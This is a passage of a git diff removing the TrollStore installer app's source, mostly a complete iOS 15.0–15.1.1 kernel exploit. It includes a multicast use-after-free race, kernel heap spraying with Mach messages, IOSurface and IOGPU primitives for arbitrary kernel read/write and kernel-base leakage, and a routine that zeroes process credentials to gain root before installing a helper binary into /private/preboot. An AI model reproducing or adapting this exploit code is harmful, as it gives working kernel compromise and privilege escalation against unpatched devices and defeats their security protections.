_kwrite_64_ret(addr, value); - } - else if(_kwrite64_block) - { - return _kwrite64_block(addr, value); - } - else - { - int r1 = [self write32BitValue:(uint32_t)value toAddress:addr]; - int r2 = [self write32BitValue:(uint32_t)(value >> 32) toAddress:addr + 4]; - return r1 || r2; - } - return 0; -} - -- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr -{ - if(_kwrite_32) - { - _kwrite_32(addr, value); - } - else if(_kwrite_32_ret) - { - return _kwrite_32_ret(addr, value); - } - else if(_kwrite32_block) - { - return _kwrite32_block(addr, value); - } - return 0; -} - -- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr -{ - //printf("write to %llX - %lX\n", addr, len); - //usleep(50); - - if(_kwrite_buf) - { - return _kwrite_buf(addr, inBuf, len); - } - else - { - uint64_t endAddr = addr + len; - uint32_t inputOffset = 0; - unsigned char* inputBytes = (unsigned char*)inBuf; - - for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4) - { - uint32_t toWrite = 0; - int bc = 4; - - uint64_t remainingBytes = endAddr - curAddr; - if(remainingBytes < 4) - { - toWrite = [self read32BitValueAtAddress:curAddr]; - bc = (int)remainingBytes; - } - - unsigned char* wb = (unsigned char*)&toWrite; - for(int i = 0; i < bc; i++) - { - wb[i] = inputBytes[inputOffset]; - inputOffset++; - } - - //printf("write %X to %llX\n", toWrite, curAddr); - //usleep(1000); - - [self write32BitValue:toWrite toAddress:curAddr]; - } - - return 0; - } - return 0; -} - -- (void)finishAndCleanupIfNeeded -{ - if(_kcleanup) - { - _kcleanup(); - } -} - -- (void)dealloc -{ - [self finishAndCleanupIfNeeded]; -} - -@end diff --git a/Installer/TrollInstaller/TrollInstaller/SceneDelegate.h b/Installer/TrollInstaller/TrollInstaller/SceneDelegate.h deleted file mode 100644 index f707a0f..0000000 --- a/Installer/TrollInstaller/TrollInstaller/SceneDelegate.h +++ /dev/null @@ -1,15 +0,0 @@ -// -// SceneDelegate.h -// TrollInstaller -// -// Created by Lars Fröder on 17.08.22. -// - -#import - -@interface SceneDelegate : UIResponder - -@property (strong, nonatomic) UIWindow * window; - -@end - diff --git a/Installer/TrollInstaller/TrollInstaller/SceneDelegate.m b/Installer/TrollInstaller/TrollInstaller/SceneDelegate.m deleted file mode 100644 index 8568781..0000000 --- a/Installer/TrollInstaller/TrollInstaller/SceneDelegate.m +++ /dev/null @@ -1,57 +0,0 @@ -// -// SceneDelegate.m -// TrollInstaller -// -// Created by Lars Fröder on 17.08.22. -// - -#import "SceneDelegate.h" - -@interface SceneDelegate () - -@end - -@implementation SceneDelegate - - -- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { - // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. - // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. - // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). -} - - -- (void)sceneDidDisconnect:(UIScene *)scene { - // Called as the scene is being released by the system. - // This occurs shortly after the scene enters the background, or when its session is discarded. - // Release any resources associated with this scene that can be re-created the next time the scene connects. - // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). -} - - -- (void)sceneDidBecomeActive:(UIScene *)scene { - // Called when the scene has moved from an inactive state to an active state. - // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. -} - - -- (void)sceneWillResignActive:(UIScene *)scene { - // Called when the scene will move from an active state to an inactive state. - // This may occur due to temporary interruptions (ex. an incoming phone call). -} - - -- (void)sceneWillEnterForeground:(UIScene *)scene { - // Called as the scene transitions from the background to the foreground. - // Use this method to undo the changes made on entering the background. -} - - -- (void)sceneDidEnterBackground:(UIScene *)scene { - // Called as the scene transitions from the foreground to the background. - // Use this method to save data, release shared resources, and store enough scene-specific state information - // to restore the scene back to its current state. -} - - -@end diff --git a/Installer/TrollInstaller/TrollInstaller/ViewController.h b/Installer/TrollInstaller/TrollInstaller/ViewController.h deleted file mode 100644 index 0cea56d..0000000 --- a/Installer/TrollInstaller/TrollInstaller/ViewController.h +++ /dev/null @@ -1,14 +0,0 @@ -// -// ViewController.h -// TrollInstaller -// -// Created by Lars Fröder on 17.08.22. -// - -#import - -@interface ViewController : UIViewController - - -@end - diff --git a/Installer/TrollInstaller/TrollInstaller/ViewController.m b/Installer/TrollInstaller/TrollInstaller/ViewController.m deleted file mode 100644 index 9a9303d..0000000 --- a/Installer/TrollInstaller/TrollInstaller/ViewController.m +++ /dev/null @@ -1,288 +0,0 @@ -// -// ViewController.m -// TrollInstaller -// -// Created by Lars Fröder on 17.08.22. -// - -#import "ViewController.h" -#import "kutil.h" -#import "exploit/exploit.h" -#import "exploit/kernel_rw.h" -#import "KernelManager.h" -#import "unarchive.h" -#import -#import - -extern uint64_t g_self_proc; - -void badLog(const char* a, ...) -{ - va_list va; - va_start(va, a); - NSString* af = [NSString stringWithUTF8String:a]; - NSString* msg = [[NSString alloc] initWithFormat:af arguments:va]; - va_end(va); - NSLog(@"%@",msg); - return; -} - -NSString* getNSStringFromFile(int fd) -{ - NSMutableString* ms = [NSMutableString new]; - ssize_t num_read; - char c; - while((num_read = read(fd, &c, sizeof(c)))) - { - [ms appendString:[NSString stringWithFormat:@"%c", c]]; - } - return ms.copy; -} - -int runBinary(NSString* path, NSArray* args, NSString** output) -{ - NSMutableArray* argsM = args.mutableCopy; - [argsM insertObject:path.lastPathComponent atIndex:0]; - - NSUInteger argCount = [argsM count]; - char **argsC = (char **)malloc((argCount + 1) * sizeof(char*)); - - for (NSUInteger i = 0; i < argCount; i++) - { - argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]); - } - argsC[argCount] = NULL; - - posix_spawn_file_actions_t action; - posix_spawn_file_actions_init(&action); - - int out[2]; - pipe(out); - posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO); - posix_spawn_file_actions_addclose(&action, out[0]); - - pid_t task_pid; - int status = 0; - int spawnError = posix_spawn(&task_pid, [path UTF8String], &action, NULL, (char* const*)argsC, NULL); - for (NSUInteger i = 0; i < argCount; i++) - { - free(argsC[i]); - } - free(argsC); - - if(spawnError != 0) - { - NSLog(@"posix_spawn error %d\n", spawnError); - return spawnError; - } - - do - { - if (waitpid(task_pid, &status, 0) != -1) { - //printf("Child status %dn", WEXITSTATUS(status)); - } else - { - perror("waitpid"); - return -222; - } - } while (!WIFEXITED(status) && !WIFSIGNALED(status)); - - close(out[1]); - - if(output) - { - *output = getNSStringFromFile(out[0]); - } - - return WEXITSTATUS(status); -} - - -// Get root, credit: @xina520 - -struct k_posix_cred backup_cred; -int backup_groupSize; -gid_t backup_groupList[200]; - -int getRoot(void) -{ - NSLog(@"attempting to get root...\n"); - usleep(1000); - - backup_groupSize = getgroups(200, &backup_groupList[0]); - - backup_cred = proc_get_posix_cred(g_self_proc); - - struct k_posix_cred zero_cred = {0}; - NSLog(@"setting posix cred to zero cred...\n"); - usleep(1000); - proc_set_posix_cred(g_self_proc, zero_cred); - - int err = setgroups(0,0); - if(err) - { - NSLog(@"setgroups error %d\n", err); - usleep(1000); - } - - int uid = getuid(); - NSLog(@"getuid => %d\n", uid); - usleep(1000); - - return uid; -} - -int dropRoot(void) -{ - if(getuid() != 0) return getuid(); - - printf("attempting to drop root...\n"); - usleep(1000); - - int err = setgroups(backup_groupSize,backup_groupList); - if(err) - { - printf("setgroups error %d\n", err); - usleep(1000); - } - - proc_set_posix_cred(g_self_proc, backup_cred); - - int uid = getuid(); - printf("dropped root??? uid: %d\n", uid); - return uid; -} - -@interface ViewController () -@property (weak, nonatomic) IBOutlet UILabel *statusLabel; -@end - -@implementation ViewController - -- (void)viewDidLoad { - [super viewDidLoad]; - // Do any additional setup after loading the view. -} - -- (void)updateStatus:(NSString*)status -{ - dispatch_async(dispatch_get_main_queue(), ^{ - self.statusLabel.text = status; - }); -} - -int writeRemountPrivatePreboot(void) -{ - return runBinary(@"/sbin/mount", @[@"-u", @"-w", @"/private/preboot"], nil); -} - -- (void)doInstallation -{ - NSLog(@"TrollStore out here, exploitation starting!"); - usleep(1000); - - [self updateStatus:@"Exploiting..."]; - - // Run kernel exploit - uint64_t kernel_base; - if(exploit_get_krw_and_kernel_base(&kernel_base) != 0) - { - [self updateStatus:@"Exploit failed :("]; - return; - } - - // Initialize KernelManager - KernelManager* km = [KernelManager sharedInstance]; - [km loadOffsets]; - [km loadSlidOffsetsWithKernelBase:kernel_base]; - km.kread_32_d = kread32; - km.kread_64_d = kread64; - km.kwrite_32 = kwrite32; - km.kwrite_64 = kwrite64; - km.kcleanup = exploitation_cleanup; - - NSLog(@"Exploitation finished, post exploit stuff next!"); - usleep(1000); - - [self updateStatus:@"Getting root..."]; - - // Get root - getRoot(); - - [self updateStatus:@"Installing..."]; - - writeRemountPrivatePreboot(); - - NSString* tmpDir = @"/private/preboot/tmp"; - - [[NSFileManager defaultManager] createDirectoryAtPath:tmpDir withIntermediateDirectories:NO attributes:nil error:nil]; - - NSString* tsTarPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"TrollStore.tar"]; - - extract(tsTarPath, tmpDir); - - NSString* helperPath = [tmpDir stringByAppendingPathComponent:@"TrollStore.app/trollstorehelper"]; - - chmod(helperPath.UTF8String, 0755); - chown(helperPath.UTF8String, 0, 0); - - NSString* helperOutput; - int ret = runBinary(helperPath, @[@"install-trollstore", tsTarPath], &helperOutput); - - [self updateStatus:@"Cleaning up..."]; - - [[NSFileManager defaultManager] removeItemAtPath:tmpDir error:nil]; - - // Clean everything up so the kernel doesn't panic when the app exits - dropRoot(); - [km finishAndCleanupIfNeeded]; - - [self updateStatus:@"Done!"]; - - NSLog(@"%@", helperOutput); - - // Print installed message - if(ret == 0) - { - dispatch_async(dispatch_get_main_queue(), ^{ - UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Installed TrollStore" message:@"TrollStore was installed and can now be accessed from your home screen, you can uninstall the installer application now. Some devices suffer from a bug where newly installed applications don't immediately show up, in that case reboot and TrollStore should show up." preferredStyle:UIAlertControllerStyleAlert]; - - UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { - exit(0); - }]; - - [installedAlertController addAction:closeAction]; - - [self presentViewController:installedAlertController animated:YES completion:nil]; - }); - } - else - { - dispatch_async(dispatch_get_main_queue(), ^{ - UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Failed to install TrollStore. trollstore helper exited with code %d. Output:\n:%@", ret, helperOutput ?: @""] preferredStyle:UIAlertControllerStyleAlert]; - - UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { - exit(0); - }]; - - UIAlertAction* copyAction = [UIAlertAction actionWithTitle:@"Copy Output" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { - UIPasteboard *pasteboard = [UIPasteboard generalPasteboard]; - pasteboard.string = helperOutput; - exit(0); - }]; - - [installedAlertController addAction:closeAction]; - [installedAlertController addAction:copyAction]; - - [self presentViewController:installedAlertController animated:YES completion:nil]; - }); - } -} - -- (IBAction)installButtonPressed:(id)sender { - dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ - [self doInstallation]; - }); -} - -@end diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.c b/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.c deleted file mode 100644 index b3dab4b..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.c +++ /dev/null @@ -1,82 +0,0 @@ -#include "IOGPU.h" - -#include - -io_connect_t IOGPU_init(void) -{ - mach_port_t mp = MACH_PORT_NULL; - kern_return_t IOMasterPort(mach_port_t, mach_port_t *); - IOMasterPort(MACH_PORT_NULL, &mp); - io_connect_t uc; - - io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator")); - if (s == MACH_PORT_NULL) - { - return 0; - } - - if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS) - { - return 0; - } - - return uc; -} - -void IOGPU_exit(io_connect_t uc) -{ - IOServiceClose(uc); -} - -uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member) -{ - uint64_t outStructCnt = 0x10; - uint32_t inStructCnt = 0x408; - uint8_t inStruct[0x408] = {0}; - uint8_t outStruct[0x10] = {0}; - - // avoid null termination - memset(inStruct, 0x01, 0x30); - *(uint64_t *)(inStruct + 0x30) = member; - - kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt); - - if (kr) - return 0; - - return 1; -} - -int IOGPU_get_command_queue_extra_refills_needed(void) -{ - struct utsname u; - uname(&u); - - if ( - strstr(u.machine, "iPod9,") // iPod Touch 7 - || strstr(u.machine, "iPhone9,") // iPhone 7 - || strstr(u.machine, "iPhone12,") // iPhone 11 & SE 2 - || strstr(u.machine, "iPhone13,") // iPhone 12 - || strstr(u.machine, "iPhone14,") // iPhone 13 & SE 3 - || strstr(u.machine, "iPad7,") // iPad7,* has too many different models to list here, see theiphonewiki's "Models" page for info - || strstr(u.machine, "iPad12,") // iPad 9 - || strstr(u.machine, "iPad13,") // iPad13,1-13,2 is the iPad Air 4 and 13,4-13,11 is the iPad Pro M1. - || strstr(u.machine, "iPad14,") // iPad Mini 6 - ) - { - return 1; - } - else if ( - strstr(u.machine, "iPhone10,") // iPhone 8, X - || strstr(u.machine, "iPhone11,") // iPhone XS, XR - || strstr(u.machine, "iPad8,") // iPad Pro A12Z - || strstr(u.machine, "iPad11,") // iPad 8 A12 - ) - { - return 3; - } - - printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine); - - return -1; -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.h b/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.h deleted file mode 100644 index 8ece6aa..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef __IOGPU_H__ -#define __IOGPU_H__ - -#include "iokit.h" - -#include -#include - -io_connect_t IOGPU_init(void); -void IOGPU_exit(io_connect_t uc); - -uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member); - -int IOGPU_get_command_queue_extra_refills_needed(void); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.c b/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.c deleted file mode 100644 index 5756ff4..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.c +++ /dev/null @@ -1,124 +0,0 @@ -#include "IOSurfaceRoot.h" - -io_connect_t IOSurfaceRoot_init(void) -{ - kern_return_t IOMasterPort(mach_port_t, mach_port_t *); - mach_port_t mp = MACH_PORT_NULL; - IOMasterPort(MACH_PORT_NULL, &mp); - io_connect_t uc; - - io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot")); - if (s == MACH_PORT_NULL) - { - return 0; - } - - if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS) - { - return 0; - } - - return uc; -} - -void IOSurfaceRoot_exit(io_connect_t uc) -{ - IOServiceClose(uc); -} - -uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc) -{ - // Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4 - struct _IOSurfaceFastCreateArgs { - uint64_t address; - uint32_t width; - uint32_t height; - uint32_t pixel_format; - uint32_t bytes_per_element; - uint32_t bytes_per_row; - uint32_t alloc_size; - }; - - struct IOSurfaceLockResult { - uint8_t _pad1[0x18]; - uint32_t surface_id; - uint8_t _pad2[0xF60-0x18-0x4]; - }; - - struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 }; - struct IOSurfaceLockResult lock_result = {0}; - uint64_t lock_result_size = sizeof(lock_result); - - IOConnectCallMethod( - uc, - 6, - NULL, 0, - &create_args, sizeof(create_args), - NULL, NULL, - &lock_result, (size_t *)&lock_result_size); - - return lock_result.surface_id; -} - -kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id) -{ - uint64_t sz = 0xF60; - uint8_t o[0xF60]; - uint64_t scalarInput = surf_id; - kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz); - return ret; -} - -kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id) -{ - uint64_t scalarInput = surf_id; - kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0); - return ret; -} - -void IOSurfaceRoot_release_all(io_connect_t uc) -{ - for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id) - { - IOSurfaceRoot_release_surface(uc, surf_id); - } -} - -uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id) -{ - uint64_t scalarInput = surf_id; - uint64_t output = 0; - uint64_t outputCnt = 1; - IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0); - - return (uint32_t)output; -} - -void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile) -{ - uint64_t scalarInput[3]; - - scalarInput[0] = surf_id; - scalarInput[1] = 0; - scalarInput[2] = tile; - - IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0); -} - -uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void) -{ - for (int i = 0; i < 4; ++i) - { - io_connect_t uc = IOSurfaceRoot_init(); - for (int i = 0; i < 0xf00; ++i) - { - uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc); - if (0x3400 <= (last_id * sizeof(uint64_t))) - { - return last_id; - } - } - } - - return -1; -} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.h b/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.h deleted file mode 100644 index 529b2c9..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.h +++ /dev/null @@ -1,25 +0,0 @@ -#ifndef __IOSURFACEROOT_H__ -#define __IOSURFACEROOT_H__ - -#include "iokit.h" - -#include -#include - -io_connect_t IOSurfaceRoot_init(void); -void IOSurfaceRoot_exit(io_connect_t uc); - -uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc); - -kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id); - -int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id); -void IOSurfaceRoot_release_all(io_connect_t uc); - -uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id); - -void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile); - -uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void); - -#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/exploit.c b/Installer/TrollInstaller/TrollInstaller/exploit/exploit.c deleted file mode 100644 index d5c669e..0000000 --- a/Installer/TrollInstaller/TrollInstaller/exploit/exploit.c +++ /dev/null @@ -1,335 +0,0 @@ -#include "exploit.h" - -#include "iokit.h" -#include "IOGPU.h" -#include "IOSurfaceRoot.h" -#include "kernel_rw.h" -#include "kernel_base.h" -#include "mcast.h" -#include "necp.h" -#include "port_utils.h" -#include "spray.h" - -#include -#include -#include -#include -#include -#include - -#pragma clang diagnostic ignored "-Wdeprecated-declarations" - -#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device -#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device -#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted) -#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX) -#define BYTECOPY_OFFSET_IPV6 0x28 -#define PORTS_COUNT 0x2A00 -#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX) -#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664 - -mach_port_t notif_port = MACH_PORT_NULL; -mach_port_t *kheap_default_ports = NULL; -uint8_t *IOSurfaceClient_array_buf = NULL; -mach_port_t *kheap_data_ports = NULL; -int kheap_data_idx = -1; -int extra_frees_for_device = -1; -io_connect_t iogpu_connect = MACH_PORT_NULL; - -mach_port_t get_arb_free_holder(void) -{ - int success = 0; - - // reliability voodoo - for (int i = 0; i < 3; ++i) - { - mcast_increase_race_reliability(); - printf("Increase reliability...\n"); - } - - // more reliability voodoo - pthread_attr_t pattr; - pthread_attr_init(&pattr); - pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0); - - // initialize refill buffer, putting the target for the bytecopy primitive there - uint8_t *necp_buf = malloc(4096); - *(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET; - - printf("Start (will fail if device has not been rebooted since last run)\n"); - kheap_data_idx = -1; - for (int iterations = 0; iterations < 255; ++iterations) - { - pthread_t pt1; - pthread_t pt2; - int s = socket(AF_INET6, SOCK_DGRAM, 0); - int necp_fd = necp_open(0); - - mcast_race_sock = s; - - // grow the buffer on which the UaF will be triggered to default.kalloc.1664 and - // put it at its max size before next realloc will occur - int ip = 0; - for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip) - { - mcast_join_group(ip); - } - - // trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful - pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip); - pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1)); - - // refill the UaF buffer in default.kalloc.1664 during the race - for (int i = 0; i < 10; ++i) - { - spray_default_kalloc_necp(necp_fd, necp_buf, 0x318); - } - - // synchronize - pthread_join(pt1, NULL); - pthread_join(pt2, NULL); - - // find out if the refill succeeded, in which case a corrupted trailer size will be returned - // for the holder of the corrupted kmsg, which has also had its message bits corrupted - // (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set) - { - for (int i = 0; i < PORTS_COUNT; ++i) - { - int sz = port_peek_trailer_size(kheap_data_ports[i]); - if (sz != 8) - { - printf("kheap_data_idx: %08X\n", i); - kheap_data_idx = i; - break; - } - } - if (kheap_data_idx != -1) - { - success = 1; - break; - } - } - - close(s); - printf("iteration %d\n", iterations); - } - - if (!success) - { - printf("Failed! Run exploit only once per boot\n"); - printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n"); - exit(1); - } - - free(necp_buf); - - return kheap_data_ports[kheap_data_idx]; -} - -int exploitation_init(void) -{ - // different by device, retrieve it first and fail if unsuccessful - extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed(); - if (extra_frees_for_device == -1) - { - printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n"); - return 1; - } - - kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); - kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); - mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); - mach_port_t *ool_ports = malloc(0x4000); - uint8_t *kheap_data_spray_buf = malloc(0x4000); - memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); - memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); - memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); - memset(ool_ports, 0, 0x4000); - memset(kheap_data_spray_buf, 0, 0x4000); - - // initialize the inline data - - // fake descriptor for free primitive - *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1; - *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target - *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc - // align a pointer here so that when the kmsg trailer size is corrupted, this pointer - // will after that be followed and a second bytecopy performed where it points (kmsg message bits) - *(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET; - - // spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC - for (int i = 0; i < PORTS_COUNT; ++i) - { - // KHEAP_DEFAULT - *ool_ports = port_new(); - contained_ports[i] = *ool_ports; - mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports); - kheap_default_ports[i] = pp[0]; - free(pp); - - // KHEAP_DATA_BUFFERS - kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE); - } - - notif_port = port_new(); - for (int i = 0; i < PORTS_COUNT; ++i) - { - mach_port_t prev; - mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev); - mach_port_deallocate(mach_task_self(), contained_ports[i]); - } - - // pre-init kernel rw - IOSurfaceClient_array_buf = malloc(0x4000); - kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000); - - free(contained_ports); - free(ool_ports); - free(kheap_data_spray_buf); - - return 0; -} - -int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base) -{ - uint8_t msg_buf[0x100]; - int fildes[2]; - pipe(fildes); - int read_pipe = fildes[0]; - int write_pipe = fildes[1]; - - // alloc this one before array of IOSurfaceClients becomes 0x4000 - io_connect_t iosurface_connect_krw = IOSurfaceRoot_init(); - - // cause max size of arrays of IOSurfaceClients to become 0x4000 - uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000(); - - // trigger arbitrary free in kheap default - port_destroy(arb_free_holder); - - // do refill in kheap default - IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id); - // NULL out array - IOSurfaceRoot_release_all(iosurface_connect_krw); - - // find allocation at KHEAP_DEFAULT_MAPPABLE_LOC - int kheap_default_idx = -1; - for (uint32_t i = 0; - (i < PORTS_COUNT) && port_has_msg(notif_port); - i++) - { - port_receive_msg(notif_port, msg_buf, sizeof(msg_buf)); - - port_destroy(kheap_default_ports[i]); - - kheap_default_idx = i; - } - - // Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC - // has been free'd and will be refilled below - - // printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n"); - - if (kheap_default_idx >= PORTS_COUNT) - { - printf("kheap_default_idx >= PORTS_COUNT\n"); - exit(1); - } - - // extra frees - for (int i = 0; i < extra_frees_for_device; ++i) - { - port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]); - } - - // do refill - iogpu_connect = IOGPU_init(); - // add entry - IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10); - - printf("kheap_default_idx: %08X\n", kheap_default_idx); - - // refill in kheap data - port_destroy(kheap_data_ports[kheap_data_idx-1]); - write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); - - kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe); - - kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED); - uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC); - printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result); - if (result != 0xFEED) - { - printf("Failed! Reboot to try again (remember to only run once per boot)\n"); - exit(1); - } - - printf("Get kernel base...\n"); - - *kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000); - printf("Got kernel base: %p\n", (void *)*kernel_base); - - return 0; -} - -void exploitation_cleanup(void) -{ - uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8); - uint64_t parent_loc = kread64(command_queue_loc + 0x488); - uint64_t namespace_loc = kread64(parent_loc + 0x88); - - // bump refs - kwrite32(command_queue_loc + 0x8, 10); - kwrite32(namespace_loc + 0x8, 10); - - IOServiceClose(iogpu_connect); -} - -int exploit_get_krw_and_kernel_base(uint64_t *kernel_base) -{ - uint64_t _kernel_base = 0; - - // generic exploitation init - if (exploitation_init() != 0) - { - return 1; - } - - // trigger bug, get arbitrary free - mach_port_t arb_free_holder = get_arb_free_holder(); - - // generic exploitation using arbitrary free - exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base); - - // generic exploitation cleanup (kernel r/w still active) - //exploitation_cleanup(); - - *kernel_base = _kernel_base; - - return 0; -} - -int exploit_go(void) -{ - uint64_t kernel_base = 0; - - if (exploit_get_krw_and_kernel_base(&kernel_base) != 0) - { - printf("Exploit failed!\n"); - return 1; - } 